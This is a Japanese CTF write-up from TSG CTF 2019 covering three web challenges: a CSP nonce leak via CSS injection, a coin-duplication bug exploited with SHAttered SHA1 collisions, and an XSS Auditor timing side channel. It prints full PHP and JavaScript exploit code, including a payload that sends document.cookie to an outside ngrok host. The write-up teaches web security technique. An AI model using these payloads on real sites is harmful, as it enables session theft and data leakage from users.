TSG CTFにチームNaruseJunで出ました。4099ptsを獲得して3位でした。
私はWeb問のみを解きました。以下write-upです。
BADNONCE Part 1 (247pts)
CSPが有効になっているページでXSSしてCookieを盗ってください、という問題でした。
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<?= $nonce ?>';">
問題名が BADNONCE なので明らかにnonceの実装が悪そうです。 実際、以下のようにセッションIDに対してnonceが固定なので、これが漏れるとXSSが可能になります。
session_start();
$nonce = md5(session_id());
件のnonceは、ページ内の要素の属性として存在しています。
<script nonce=<?= $nonce ?>>
console.log('Welcome to the dungeon :-)');
</script>
ところで、このページではscript-src
のみ制限されているので、たとえばスタイルシートなどは外部ソースから読み込み放題です。 したがって、CSS Injectionが可能です。セレクタを工夫することによって、要素の属性値を特定することができますね。
ただし、管理者のブラウザを模したクローラは、毎回異なるPHPSESSIDを持つため、1度の起動で最後までnonceを抜きとって、XSSを踏ませるところまでやらないといけません。 ちょっと面倒ですが、管理者に攻撃車が用意したURLをIFRAMEで開き続けるページを踏ませて、InjectするCSSを変えながら、最終的にXSSを発火させるようにしました。 以下のような実装になりました。Web問のExploitにしてはちょっと重めかも。もっと頭のいい方法が存在する可能性もあり。
<?php
if (array_key_exists("save", $_GET)) {
file_put_contents("flag.txt", $_GET["save"] . PHP_EOL, LOCK_EX | FILE_APPEND);
}
else if (array_key_exists("nonce", $_GET)) {
$nonce = file_get_contents("nonce.txt");
if (strlen($nonce) < strlen($_GET["nonce"])) {
file_put_contents("nonce.txt", $_GET["nonce"], LOCK_EX);
}
}
else if (array_key_exists("css", $_GET)) {
header("Content-Type: text/css");
echo("script { display: block }" . PHP_EOL);
$nonce = file_get_contents("nonce.txt");
$chars = str_split("0123456789abcdef");
foreach ($chars as $c1) {
foreach ($chars as $c2) {
$x = $nonce . $c1 . $c2;
echo("[nonce^='" . $x . "'] { background: url(http://cf07fd07.ap.ngrok.io/?nonce=" . $x . ") }" . PHP_EOL);
}
}
}
else if (array_key_exists("go", $_GET)) {
$nonce = file_get_contents("nonce.txt");
if (strlen($nonce) < 32) {
header("Location: http://35.187.214.138:10023/?q=%3Clink%20rel%3D%22stylesheet%22%20href%3D%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fcss%3D" . microtime(true) . "%22%3E");
}
else {
header("Location: http://35.187.214.138:10023/?q=%3Cscript%20nonce%3D%22" . $nonce . "%22%3Efetch(%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fsave%3D%22%20%2B%20encodeURIComponent(document.cookie))%3C%2Fscript%3E");
}
}
else if (array_key_exists("start", $_GET)) {
file_put_contents("nonce.txt", "", LOCK_EX);
file_put_contents("flag.txt", "", LOCK_EX);
?>
<html>
<body>
<script>
setInterval(() => {
const iframe = document.createElement("iframe");
iframe.src = `?go=${(new Date).getTime()}`;
document.body.appendChild(iframe);
}, 256);
</script>
</body>
</html>
<?php
}
else {
echo("E R R O R !");
}
?>
Secure Bank (497pts)
rubyで書かれたアプリケーションで、コインの送受信ができます。 たくさんのコインを集めれば、FLAGが入手できるようです。
get '/api/flag' do
return err(401, 'login first') unless user = session[:user]
hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user
row = res.next
balance = row && row[0]
res.close
return err(401, 'login first') unless balance
return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000
json({flag: IO.binread('data/flag.txt')})
end
怪しいのは送金コードで、こういう形。
post '/api/transfer' do
return err(401, 'login first') unless src = session[:user]
return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src
return err(400, 'bad request') unless amount = params[:amount] and String === amount
return err(400, 'bad request') unless amount = amount.to_i and amount > 0
sleep 1
hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)}
hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)}
res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src
row = res.next
balance_src = row && row[0]
res.close
return err(422, 'no enough coins') unless balance_src >= amount
res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst
row = res.next
balance_dst = row && row[0]
res.close
return err(422, 'no such user') unless balance_dst
balance_src -= amount
balance_dst += amount
DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_src, hashed_src
DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_dst, hashed_dst
json({amount: amount, balance: balance_src})
end
ぱっと見たところ、トランザクションを考慮していないので、高頻度でリクエストを飛ばせばRace Conditionで二重送金ができそうだったんですが、軽く試したところ、タイミングがシビアでほとんどうまくいかなかったので、この方針は諦めました。
ところで、このコードをもう少しよく見ると、宛先と送金元が同一のユーザであったとき、コインが増殖することは明らかです。 もちろん、自分自身への送金はエラーになる実装となっているんですが、残高の照会をユーザ名をハッシュした値で行っているのに対して、ユーザの同一性判定は元の文字列で行っています。 つまりは、別の文字列であって、SHA1ハッシュの結果が同一になる文字列の組がもし存在すれば、無限にコインを増やすことができそうです。
SHA1の衝突といえば……SHAtteredですよね。 詳しい理屈はググってもらうとして、これを用いれば、先に述べた要件を満たすような文字列(というかバイト列)の組が用意できます。
JSONとしてnon-printableな文字を送る際に破壊されないように注意しつつ、以下のようにして用意しました。
<?php
$s1 = file_get_contents("shattered-1.pdf");
$s2 = file_get_contents("shattered-2.pdf");
$t1 = substr($s1, 0, 320) . "narusejun";
$t2 = substr($s2, 0, 320) . "narusejun";
echo(sha1($t1) . PHP_EOL);
echo(sha1($t2) . PHP_EOL);
function toStr($c) {
$i = ord($c);
if ($c == '"') {
return '\\"';
}
if ($c == '%') {
return '%%';
}
if ($i < 0x20) {
return sprintf("\\u%04x", $i);
}
if ($i < 0x7F) {
return $c;
}
return sprintf("\\x%02x", ord($c));
}
$u1 = implode(array_map(toStr, str_split($t1)));
$u2 = implode(array_map(toStr, str_split($t2)));
echo($u1 . PHP_EOL);
echo($u2 . PHP_EOL);
?>
この文字列のどちらかを使って登録した上で、もう一方の文字列を宛先として指定して送金すると、コインが増殖します。 curlを使うと容易です。
RECON (500pts)
Web問です。PHPで実装された、プロフィールを登録できるサービスです。 秘密の質問として20種類のフルーツが好きか否かを選択できるようになっていて、どうやらadminの好きなフルーツをRECONすれば良いみたいです。
ソースコードを見ると、自身のプロフィールを確認するページで露骨にCSPが弱められていて、怪しさがあります。
$response->withHeader("Content-Security-Policy", "script-src-elem 'self'; script-src-attr 'unsafe-inline'; style-src 'self'")
この要素は新しい機能なので、script-src-elem
とscript-src-attr
が効いていなくて、実質XSSし放題になっているようでした。 しかしながら、このページはログインしたユーザ自身のプロフィールを表示するものですので、狙った相手にコードを実行させるのは厳しそうな雰囲気があります。
ところで、そもそも何故script-src-attr
などという特殊な(?)制限が付されているのでしょうか? この答えは、このページのソースを注意深く見るとすぐに気が付きました。
🍇 <input type="checkbox" id="grapes" onchange="grapes.checked=false;" >
🍈 <input type="checkbox" id="melon" onchange="melon.checked=false;" >
🍉 <input type="checkbox" id="watermelon" onchange="watermelon.checked=false;" >
🍊 <input type="checkbox" id="tangerine" onchange="tangerine.checked=false;" >
🍋 <input type="checkbox" id="lemon" onchange="lemon.checked=false;" >
🍌 <input type="checkbox" id="banana" onchange="banana.checked=false;" >
🍍 <input type="checkbox" id="pineapple" onchange="pineapple.checked=false;" >
🍐 <input type="checkbox" id="pear" onchange="pear.checked=false;" >
🍑 <input type="checkbox" id="peach" onchange="peach.checked=false;" >
🍒 <input type="checkbox" id="cherries" onchange="cherries.checked=false;" >
🍓 <input type="checkbox" id="strawberry" onchange="strawberry.checked=false;" >
🍅 <input type="checkbox" id="tomato" onchange="tomato.checked=false;" >
🥥 <input type="checkbox" id="coconut" onchange="coconut.checked=false;" >
🥭 <input type="checkbox" id="mango" onchange="mango.checked=false;" >
🥑 <input type="checkbox" id="avocado" onchange="avocado.checked=false;" >
🍆 <input type="checkbox" id="aubergine" onchange="aubergine.checked=false;" >
🥔 <input type="checkbox" id="potato" onchange="potato.checked=false;" >
🥕 <input type="checkbox" id="carrot" onchange="carrot.checked=false;" >
🥦 <input type="checkbox" id="broccoli" onchange="broccoli.checked=false;" >
🍄 <input type="checkbox" id="mushroom" onchange="mushroom.checked=false;" >
秘密の質問がプロフィールページに表示されているんですが、この変更を禁止する目的でJavaScriptが用いられているのでした! このコードのみ実行できるようにする目的で、部分的なunsafe-inlineが許容されていたようです。
もし、この小さなJavaScriptコードを盗むことができれば、adminの好きなフルーツを知ることできそうです。 このページでは、X-XSS-Protection: 1; mode=block
というヘッダが送信されていて、XSS Auditorがブロックモードで動作することが期待されていて、adminのブラウザもこれに従っているでしょう。 こういう場合に、XSS Auditorの誤検出を利用して、ページ内のスクリプトを盗む手法が存在します。
これを利用できそうです。(できました。) 以下のような2つのIFRAMEを表示させれば、どちらか一方をXSS Auditorがブロックするはずです。
<iframe src='http://34.97.74.235:10033/profile?onchange="melon.checked=true;"'></iframe>
<iframe src='http://34.97.74.235:10033/profile?onchange="melon.checked=false;"'></iframe>
この性質を利用し、攻撃者のページで2つのIFRAMEを開かせて、どちらがブロックされたかを判別すれば良いですね。 IFRAME要素のcontentWindow.length
を見ると、XSS Auditorが作動したか否かを簡単に判別できるようでしたが、手元で試したときに何故かうまくいかなかったので(これは勘違いだったかもしれませんが)、onload
が発火するまでの時間を計測するちょっと面倒な方法で判別しています。 XSS Auditorが作動すると、関連リソースの読み込みが走らないので、onload
が早く呼ばれるはずです。
以下のように実装し、IFRAMEをプロフィールに埋め込んで、adminにアクセスさせました。 JavaScriptの記法モダンだったりレガシーだったりしていて、気持ち悪いんですが、終了ギリギリで解いていたためいろいろ焦っていて、見当違いの試行錯誤をしていた名残です。
<?php
if(array_key_exists("save", $_GET)){
file_put_contents("save.txt", $_GET["save"] . PHP_EOL, FILE_APPEND | LOCK_EX);
echo("OK!");
}else{
?>
<html>
<body>
<script>
function test(key, val){
return new Promise(function(resolve){
const iframe = document.createElement("iframe");
iframe.onload = function(){
iframe.remove();
resolve([key, val, new Date().getTime() - time]);
};
iframe.src = `http://34.97.74.235:10033/profile?onchange="${key}.checked=${val};"`;
const time = new Date().getTime();
document.body.appendChild(iframe);
});
}
(async () => {
const results = [];
for(let i = 0; i < 1; i++){
results.push([
await test("mushroom", true),
await test("mushroom", false),
]);
}
location.href = "?save=" + results;
})();
</script>
</body>
</html>
<?php
}
?>
これを用いて、フルーツ1種類ごとに計測した結果が以下のとおりです。 Captchaを連打する必要があって、激ツラかったです。チームメイトにひたすらCaptchaしてもらいました。(もっと頭の良い実装をすればよかった気もしますが。)
フルーツ | trueのonload(ms) | falseのonload(ms) | 判定結果 |
---|---|---|---|
grapes | 84 | 334 | TRUE |
melon | 347 | 65 | FALSE |
watermelon | 245 | 47 | FALSE |
tangerine | 78 | 394 | TRUE |
lemon | 83 | 418 | TRUE |
banana | 73 | 255 | TRUE |
pineapple | 79 | 452 | TRUE |
pear | 252 | 48 | FALSE |
peach | 74 | 281 | TRUE |
cherries | 76 | 336 | TRUE |
strawberry | 79 | 318 | TRUE |
tomato | 77 | 353 | TRUE |
coconut | 77 | 333 | TRUE |
mango | 92 | 404 | TRUE |
avocado | 254 | 47 | FALSE |
aubergine | 85 | 333 | TRUE |
potato | 249 | 46 | FALSE |
carrot | 72 | 321 | TRUE |
broccoli | 428 | 40 | FALSE |
mushroom | 87 | 388 | TRUE |
あとは、この結果を用いてadminのrecoveryメッセージ(FLAG)を表示させることができました。
総括
Web問しか触っていないので他のジャンルはわかりかねますが、良い問題でした。
- 誘導が適切で、guessが最小限で済んだ
- 扱っているテーマも面白いものだった
おわりです。 なんか💰を貰えるらしいので、焼肉にでも行きたいです🐦
事前のお知らせのとり、上位3チームに賞金が与えられます。 TokyoWesterns, hxp, NaruseJun のみなさん、おめでとうございます!https://t.co/bu6r4T50ZR #tsg_ctf
— TSG CTF International (@tsgctf) May 5, 2019